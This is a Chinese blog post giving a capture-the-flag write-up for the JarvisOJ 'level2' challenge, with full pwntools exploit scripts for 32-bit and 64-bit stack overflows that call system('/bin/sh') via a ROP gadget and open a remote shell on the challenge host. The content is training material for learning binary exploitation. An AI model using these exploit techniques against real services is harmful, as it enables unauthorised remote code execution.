level2

作者: n0va | 来源:发表于2019-03-21 21:37 被阅读0次

先checksec ,只开了NX

image.png

IDA分析:栈溢出,而且也可以看到是有system函数的

image.png

shift + F12看一下字符串,发现也是存在/bin/sh

image.png

于是我们就可以调用system("/bin/sh")
32位exp:

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()

===================================================================================
因为64位程序函数的前6个参数是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要调用system('/bin/sh')首先要将/bin/sh放到rdi寄存器中去,所以就需要找到pop_rdi_ret的gadget来利用

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11

64位exp:

#-*-coding:utf -8-*-
from pwn import *
# p = process('./level2_x64')
p = remote("pwn2.jarvisoj.com","9882")
system_plt = 0x4004c0
binsh = 0x600a90
pop_rdi = 0x4006b3
payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload) 
p.interactive()

相关文章

  • ajax基础知识

    标准 XMLHttpRequest标准又分为Level1和Level2 Level1 缺点 Level2 改进 兼...

  • 【链接】懂你英语笔记Level1,Level2

    懂你英语笔记Level1,Level2

  • The record of 4.14-16

    busy running after the deadline of Python level2 the big ...

  • 20180717今日剽悍

    今天公交车上学习懂你level2 感觉挺简单的,但是为什么拿不到4颗星星呢?公交车上可以学习简单的level2 ,...

  • 2017.09.05 学习方法

    今天level2刷星突然想到的,虽然level2的复述和读挺简单的,但是其实课文学的并不好,不能看着图片表达出来。...

  • level2学习心得

    五天的level2学习结束了,带着满满的喜悦和收获回家了。还记得八月份上level2一阶时,整个人都是懵的。...

  • javaScript formData 详细使用教程

    formData是ajax2.0(XMLHttpRequest Level2)新提出的接口,利用FormData对...

  • level2

    0x00 file和checksec(看不到,看不到,看不到) 0x01 ida查看 明显的栈溢出 这个题目和之前...

  • level2

    先checksec ,只开了NX IDA分析:栈溢出,而且也可以看到是有system函数的 shift + F12...

  • 2019-02-01

    1. 版本(Level) CSS Level2 ( CSS 2.1 规范) CSS Level3Color Mod...

网友评论

      本文标题:level2

      本文链接:https://www.haomeiwen.com/subject/ncyhvqtx.html